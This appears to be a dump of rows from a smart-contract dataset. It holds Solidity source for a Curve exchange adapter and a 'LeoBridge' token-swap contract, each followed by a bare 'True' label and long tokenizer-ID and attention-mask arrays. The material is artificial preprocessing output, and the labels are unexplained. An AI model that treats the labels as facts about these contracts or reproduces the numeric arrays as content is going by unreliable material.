function exchange(int128 i, int128 j, uint256 dx, uint256 minDy , uint256 deadline) external;
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: original_contracts/ITokenTransferProxy.sol
pragma solidity 0.7.5;
interface ITokenTransferProxy {
function transferFrom(
address token,
address from,
address to,
uint256 amount
)
external;
function freeGSTTokens(uint256 tokensToFree) external;
}
// File: original_contracts/lib/Utils.sol
pragma solidity 0.7.5;
library Utils {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address constant ETH_ADDRESS = address(
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE
);
uint256 constant MAX_UINT = 2 ** 256 - 1;
/**
* @param fromToken Address of the source token
* @param toToken Address of the destination token
* @param fromAmount Amount of source tokens to be swapped
* @param toAmount Minimum destination token amount expected out of this swap
* @param expectedAmount Expected amount of destination tokens without slippage
* @param beneficiary Beneficiary address
* 0 then 100% will be transferred to beneficiary. Pass 10000 for 100%
* @param referrer referral id
* @param path Route to be taken for this swap to take place
*/
struct SellData {
IERC20 fromToken;
IERC20 toToken;
uint256 fromAmount;
uint256 toAmount;
uint256 expectedAmount;
address payable beneficiary;
string referrer;
Utils.Path[] path;
}
struct BuyData {
IERC20 fromToken;
IERC20 toToken;
uint256 fromAmount;
uint256 toAmount;
uint256 expectedAmount;
address payable beneficiary;
string referrer;
Utils.BuyRoute[] route;
}
struct Route {
address payable exchange;
address targetExchange;
uint percent;
bytes payload;
uint256 networkFee;//Network fee is associated with 0xv3 trades
}
struct Path {
address to;
uint256 totalNetworkFee;//Network fee is associated with 0xv3 trades
Route[] routes;
}
struct BuyRoute {
address payable exchange;
address targetExchange;
uint256 fromAmount;
uint256 toAmount;
bytes payload;
uint256 networkFee;//Network fee is associated with 0xv3 trades
}
function ethAddress() internal pure returns (address) {return ETH_ADDRESS;}
function maxUint() internal pure returns (uint256) {return MAX_UINT;}
function approve(
address addressToApprove,
address token,
uint256 amount
) internal {
if (token != ETH_ADDRESS) {
IERC20 _token = IERC20(token);
uint allowance = _token.allowance(address(this), addressToApprove);
if (allowance < amount) {
_token.safeApprove(addressToApprove, 0);
_token.safeIncreaseAllowance(addressToApprove, MAX_UINT);
}
}
}
function transferTokens(
address token,
address payable destination,
uint256 amount
)
internal
{
if (amount > 0) {
if (token == ETH_ADDRESS) {
destination.transfer(amount);
}
else {
IERC20(token).safeTransfer(destination, amount);
}
}
}
function tokenBalance(
address token,
address account
)
internal
view
returns (uint256)
{
if (token == ETH_ADDRESS) {
return account.balance;
} else {
return IERC20(token).balanceOf(account);
}
}
/**
* @dev Helper method to refund gas using gas tokens
*/
function refundGas(
address tokenProxy,
uint256 initialGas,
uint256 mintPrice
)
internal
{
uint256 mintBase = 32254;
uint256 mintToken = 36543;
uint256 freeBase = 14154;
uint256 freeToken = 6870;
uint256 reimburse = 24000;
uint256 tokens = initialGas.sub(
gasleft()).add(freeBase).div(reimburse.mul(2).sub(freeToken)
);
uint256 mintCost = mintBase.add(tokens.mul(mintToken));
uint256 freeCost = freeBase.add(tokens.mul(freeToken));
uint256 maxreimburse = tokens.mul(reimburse);
uint256 efficiency = maxreimburse.mul(tx.gasprice).mul(100).div(
mintCost.mul(mintPrice).add(freeCost.mul(tx.gasprice))
);
if (efficiency > 100) {
freeGasTokens(tokenProxy, tokens);
}
}
/**
* @dev Helper method to free gas tokens
*/
function freeGasTokens(address tokenProxy, uint256 tokens) internal {
uint256 tokensToFree = tokens;
uint256 safeNumTokens = 0;
uint256 gas = gasleft();
if (gas >= 27710) {
safeNumTokens = gas.sub(27710).div(1148 + 5722 + 150);
}
if (tokensToFree > safeNumTokens) {
tokensToFree = safeNumTokens;
}
ITokenTransferProxy(tokenProxy).freeGSTTokens(tokensToFree);
}
}
// File: original_contracts/lib/IExchange.sol
pragma solidity 0.7.5;
/**
* @dev This interface should be implemented by all exchanges which needs to integrate with the paraswap protocol
*/
interface IExchange {
/**
* @dev The function which performs the swap on an exchange.
* Exchange needs to implement this method in order to support swapping of tokens through it
* @param fromToken Address of the source token
* @param toToken Address of the destination token
* @param fromAmount Amount of source tokens to be swapped
* @param toAmount Minimum destination token amount expected out of this swap
* @param exchange Internal exchange or factory contract address for the exchange. For example Registry address for the Uniswap
* @param payload Any exchange specific data which is required can be passed in this argument in encoded format which
* will be decoded by the exchange. Each exchange will publish it's own decoding/encoding mechanism
*/
function swap(
IERC20 fromToken,
IERC20 toToken,
uint256 fromAmount,
uint256 toAmount,
address exchange,
bytes calldata payload) external payable returns (uint256);
/**
* @dev The function which performs the swap on an exchange.
* Exchange needs to implement this method in order to support swapping of tokens through it
* @param fromToken Address of the source token
* @param toToken Address of the destination token
* @param fromAmount Max Amount of source tokens to be swapped
* @param toAmount Destination token amount expected out of this swap
* @param exchange Internal exchange or factory contract address for the exchange. For example Registry address for the Uniswap
* @param payload Any exchange specific data which is required can be passed in this argument in encoded format which
* will be decoded by the exchange. Each exchange will publish it's own decoding/encoding mechanism
*/
function buy(
IERC20 fromToken,
IERC20 toToken,
uint256 fromAmount,
uint256 toAmount,
address exchange,
bytes calldata payload) external payable returns (uint256);
/**
* @dev This function is used to perform onChainSwap. It build all the parameters onchain. Basically the information
* encoded in payload param of swap will calculated in this case
* Exchange needs to implement this method in order to support swapping of tokens through it
* @param fromToken Address of the source token
* @param toToken Address of the destination token
* @param fromAmount Amount of source tokens to be swapped
* @param toAmount Minimum destination token amount expected out of this swap
*/
function onChainSwap(
IERC20 fromToken,
IERC20 toToken,
uint256 fromAmount,
uint256 toAmount
) external payable returns (uint256);
}
// File: openzeppelin-solidity/contracts/GSN/Context.sol
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: openzeppelin-solidity/contracts/access/Ownable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: original_contracts/lib/TokenFetcher.sol
pragma solidity 0.7.5;
contract TokenFetcher is Ownable {
/**
* @dev Allows owner of the contract to transfer any tokens which are assigned to the contract
* This method is for safety if by any chance tokens or ETHs are assigned to the contract by mistake
* @dev token Address of the token to be transferred
* @dev destination Recepient of the token
* @dev amount Amount of tokens to be transferred
*/
function transferTokens(
address token,
address payable destination,
uint256 amount
)
external
onlyOwner
{
Utils.transferTokens(token, destination, amount);
}
}
// File: original_contracts/lib/curve/Curve.sol
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
contract Curve is IExchange, TokenFetcher {
using Address for address;
struct CurveData {
int128 i;
int128 j;
uint256 deadline;
bool underlyingSwap;
bool v3;
}
address public dai;
address public usdc;
address public cDAI;
address public cUSDC;
address public curveCompoundExchange;
constructor (
address curveCompoundExchange_,
address dai_,
address usdc_,
address cDAI_,
address cUSDC_
)
public
{
curveCompoundExchange = curveCompoundExchange_;
dai = dai_;
usdc = usdc_;
cDAI = cDAI_;
cUSDC = cUSDC_;
}
function swap(
IERC20 fromToken,
IERC20 toToken,
uint256 fromAmount,
uint256 toAmount,
address exchange,
bytes calldata payload
)
external
override
payable
returns (uint256)
{
CurveData memory curveData = abi.decode(payload, (CurveData));
Utils.approve(address(exchange), address(fromToken), fromAmount);
if (curveData.underlyingSwap) {
if (curveData.v3){
require(
IPoolV3(exchange).underlying_coins(uint256(curveData.i)) == address(fromToken),
"Invalid from token"
);
require(
IPoolV3(exchange).underlying_coins(uint256(curveData.j)) == address(toToken),
"Invalid to token"
);
}
else {
require(
IPool(exchange).underlying_coins(curveData.i) == address(fromToken),
"Invalid from token"
);
require(
IPool(exchange).underlying_coins(curveData.j) == address(toToken),
"Invalid to token"
);
}
ICurvePool(exchange).exchange_underlying(curveData.i, curveData.j, fromAmount, toAmount);
}
else {
if (curveData.v3) {
require(
IPoolV3(exchange).coins(uint256(curveData.i)) == address(fromToken),
"Invalid from token"
);
require(
IPoolV3(exchange).coins(uint256(curveData.j)) == address(toToken),
"Invalid to token"
);
}
else {
require(
IPool(exchange).coins(curveData.i) == address(fromToken),
"Invalid from token"
);
require(
IPool(exchange).coins(curveData.j) == address(toToken),
"Invalid to token"
);
}
if (address(fromToken) == Utils.ethAddress() || address(toToken) == Utils.ethAddress()) {
ICurveEthPool(exchange).exchange{value: msg.value}(curveData.i, curveData.j, fromAmount, toAmount);
}
else {
ICurvePool(exchange).exchange(curveData.i, curveData.j, fromAmount, toAmount);
}
}
uint256 receivedAmount = Utils.tokenBalance(
address(toToken),
address(this)
);
Utils.transferTokens(address(toToken), msg.sender, receivedAmount);
return receivedAmount;
}
function buy(
IERC20 fromToken,
IERC20 toToken,
uint256 fromAmount,
uint256 toAmount,
address exchange,
bytes calldata payload
)
external
override
payable
returns (uint256)
{
revert("METHOD NOT SUPPORTED");
}
//Swap on Curve Compound
function onChainSwap(
IERC20 fromToken,
IERC20 toToken,
uint256 fromAmount,
uint256 toAmount
)
external
override
payable
returns (uint256)
{
Utils.approve(
address(curveCompoundExchange),
address(fromToken), fromAmount
);
if (
(address(fromToken) == cDAI && address(toToken) == cUSDC) || (address(fromToken) == cUSDC && address(toToken) == cDAI)
)
{
int128 i = address(fromToken) == cDAI ? 0 : 1;
int128 j = address(toToken) == cDAI ? 0 : 1;
ICurvePool(curveCompoundExchange).exchange(
i,
j,
fromAmount,
1
);
}
else if (
(address(fromToken) == dai && address(toToken) == usdc) || (address(fromToken) == usdc && address(toToken) == dai)
)
{
int128 i = address(fromToken) == dai ? 0 : 1;
int128 j = address(toToken) == dai ? 0 : 1;
ICurvePool(curveCompoundExchange).exchange_underlying(
i,
j,
fromAmount,
1
);
}
else {
revert("TOKEN NOT SUPPORTED");
}
uint256 receivedAmount = Utils.tokenBalance(
address(toToken),
address(this)
);
Utils.transferTokens(address(toToken), msg.sender, receivedAmount);
return receivedAmount;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
12609,
1011,
2260,
1011,
2676,
1008,
1013,
1013,
1013,
5371,
1024,
2330,
4371,
27877,
2378,
1011,
5024,
3012,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1020,
1012,
1014,
1026,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
2000,
10210,
28731,
2023,
2679,
1008,
4650,
2003,
2000,
2034,
5547,
1996,
5247,
2121,
1005,
1055,
21447,
2000,
1014,
1998,
2275,
1996,
1008,
9059,
3643,
5728,
1024,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
1001,
3277,
9006,
3672,
1011,
25246,
25746,
22610,
24594,
1008,
1008,
12495,
3215,
2019,
1063,
6226,
1065,
2724,
1012,
1008,
1013,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1036,
4604,
2121,
1036,
2000,
1036,
7799,
1036,
2478,
1996,
1008,
21447,
7337,
1012,
1036,
3815,
1036,
2003,
2059,
2139,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-03-26
*/
pragma solidity ^0.8.2;
//SPDX-License-Identifier: MIT
/*
* LeoBridge: Swap ERC20 <--> BEP20
*
* @fbslo, 2021
*/
contract LeoBridge {
address payable public owner;
address public leo;
string public hiveAccount;
address public router; //UNSIWAP ROUTER
IUniswapV2Router02 uniswapRouter;
event Entry(address _inputToken, uint256 _inputAmount, uint256 _minAmountOut, uint256 outputAmount, address _recepient);
event Exit(address _exitToken, uint256 _inputAmount, uint256 _outputAmount, address recepient);
modifier ownerOnly {
require(msg.sender == owner, 'Restricted to owner');
_;
}
constructor(address _router, address _leo, string memory _hiveAccount) {
router = _router;
owner = payable(msg.sender);
leo = _leo;
hiveAccount = _hiveAccount;
uniswapRouter = IUniswapV2Router02(_router);
}
function entrance(address _inputToken, uint256 _inputAmount, uint256 _minAmountOut, address[] calldata _path, address _recepient) public {
require(_path[_path.length - 1] == leo, 'Trade must end with LEO');
//You need to approve this contract to spend input tokens
ERC20(_inputToken).transferFrom(msg.sender, address(this), _inputAmount);
//Swap input token on uniswap for LEO
ERC20(_inputToken).approve(address(router), _inputAmount);
uint256[] memory amounts = uniswapRouter.swapExactTokensForTokens(_inputAmount, _minAmountOut, _path, address(this), block.timestamp + 15);
//Unwrap LEO
ERC20(leo).approve(address(leo), amounts[amounts.length - 1]);
ERC20(leo).convertTokenWithTransfer(amounts[amounts.length - 1], hiveAccount);
emit Entry(_inputToken, _inputAmount, _minAmountOut, amounts[amounts.length - 1], _recepient);
}
function exit(address _exitToken, uint256 _inputAmount, uint256 _minAmountOut, address[] calldata _path, address _recepient) public {
require(_path[0] == leo, 'Trade must start with LEO');
//You need to approve this contract to spend LEO tokens
ERC20(leo).transferFrom(msg.sender, address(this), _inputAmount);
//Swap input token on uniswap for LEO
ERC20(leo).approve(address(router), _inputAmount);
uint256[] memory amounts = uniswapRouter.swapExactTokensForTokens(_inputAmount, _minAmountOut, _path, _recepient, block.timestamp + 15);
emit Exit(_exitToken, _inputAmount, amounts[amounts.length - 1], _recepient);
}
//contract is stateless, so no tokens/ETH/BNB should ever be here.
function rescue(address _token, uint256 _amount, bool _isETH) public ownerOnly {
if (_isETH){
owner.transfer(address(this).balance);
} else {
ERC20(_token).transfer(owner, _amount);
}
}
}
interface ERC20 {
function balanceOf(address _owner) external returns (uint256);
function transfer(address _to, uint _value) external;
function transferFrom(address _from, address _to, uint _value) external;
function approve(address _spender, uint _value) external;
function convertTokenWithTransfer(uint256 amount, string memory username) external;
}
interface IUniswapV2Router02 {
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
6021,
1011,
2656,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1016,
1025,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1008,
1008,
6688,
6374,
1024,
19948,
9413,
2278,
11387,
1026,
1011,
1011,
1028,
2022,
2361,
11387,
1008,
1008,
1030,
1042,
5910,
4135,
1010,
25682,
1008,
1013,
3206,
6688,
6374,
1063,
4769,
3477,
3085,
2270,
3954,
1025,
4769,
2270,
6688,
1025,
5164,
2270,
26736,
6305,
3597,
16671,
1025,
4769,
2270,
2799,
2099,
1025,
1013,
1013,
4895,
5332,
4213,
2361,
2799,
2099,
1045,
19496,
26760,
9331,
2615,
2475,
22494,
3334,
2692,
2475,
4895,
2483,
4213,
21572,
19901,
1025,
2724,
4443,
1006,
4769,
1035,
7953,
18715,
2368,
1010,
21318,
3372,
17788,
2575,
1035,
7953,
22591,
16671,
1010,
21318,
3372,
17788,
2575,
1035,
19808,
20048,
5833,
1010,
21318,
3372,
17788,
2575,
6434,
22591,
16671,
1010,
4769,
1035,
28667,
13699,
11638,
1007,
1025,
2724,
6164,
1006,
4769,
1035,
6164,
18715,
2368,
1010,
21318,
3372,
17788,
2575,
1035,
7953,
22591,
16671,
1010,
21318,
3372,
17788,
2575,
1035,
6434,
22591,
16671,
1010,
4769,
28667,
13699,
11638,
1007,
1025,
16913,
18095,
3954,
2239,
2135,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1010,
1005,
7775,
2000,
3954,
1005,
1007,
1025,
1035,
1025,
1065,
9570,
2953,
1006,
4769,
1035,
2799,
2099,
1010,
4769,
1035,
6688,
1010,
5164,
3638,
1035,
26736,
6305,
3597,
16671,
1007,
1063,
2799,
2099,
1027,
1035,
2799,
2099,
1025,
3954,
1027,
3477,
3085,
1006,
5796,
2290,
1012,
4604,
2121,
1007,
1025,
6688,
1027,
1035,
6688,
1025,
26736,
6305,
3597,
16671,
1027,
1035,
26736,
6305,
3597,
16671,
1025,
4895,
2483,
4213,
21572,
19901,
1027,
1045,
19496,
26760,
9331,
2615,
2475,
22494,
3334,
2692,
2475,
1006,
1035,
2799,
2099,
1007,
1025,
1065,
3853,
4211,
1006,
4769,
1035,
7953,
18715,
2368,
1010,
21318,
3372,
17788,
2575,
1035,
7953,
22591,
16671,
1010,
21318,
3372,
17788,
2575,
1035,
19808,
20048,
5833,
1010,
4769,
1031,
1033,
2655,
2850,
2696,
1035,
4130,
1010,
4769,
1035,
28667,
13699,
11638,
1007,
2270,
1063,
5478,
1006,
1035,
4130,
1031,
1035,
4130,
1012,
3091,
1011,
1015,
1033,
1027,
1027,
6688,
1010,
1005,
3119,
2442,
2203,
2007,
6688,
1005,
1007,
1025,
1013,
1013,
2017,
2342,
2000,
14300,
2023,
3206,
2000,
5247,
7953,
19204,
2015,
9413,
2278,
11387,
1006,
1035,
7953,
18715,
2368,
1007,
1012,
4651,
19699,
5358,
1006,
5796,
2290,
1012,
4604,
2121,
1010,
4769,
1006,
2023,
1007,
1010,
1035,
7953,
22591,
16671,
1007,
1025,
1013,
1013,
19948,
7953,
19204,
2006,
4895,
2483,
4213,
2361,
2005,
6688,
9413,
2278,
11387,
1006,
1035,
7953,
18715,
2368,
1007,
1012,
14300,
1006,
4769,
1006,
2799,
2099,
1007,
1010,
1035,
7953,
22591,
16671,
1007,
1025,
21318,
3372,
17788,
2575,
1031,
1033,
3638,
8310,
1027,
4895,
2483,
4213,
21572,
19901,
1012,
19948,
10288,
18908,
18715,
6132,
13028,
11045,
3619,
1006,
1035,
7953,
22591,
16671,
1010,
1035,
19808,
20048,
5833,
1010,
1035,
4130,
1010,
4769,
1006,
2023,
1007,
1010,
3796,
1012,
2335,
15464,
2361,
1009,
2321,
1007,
1025,
1013,
1013,
4895,
13088,
9331,
6688,
9413,
2278,
102
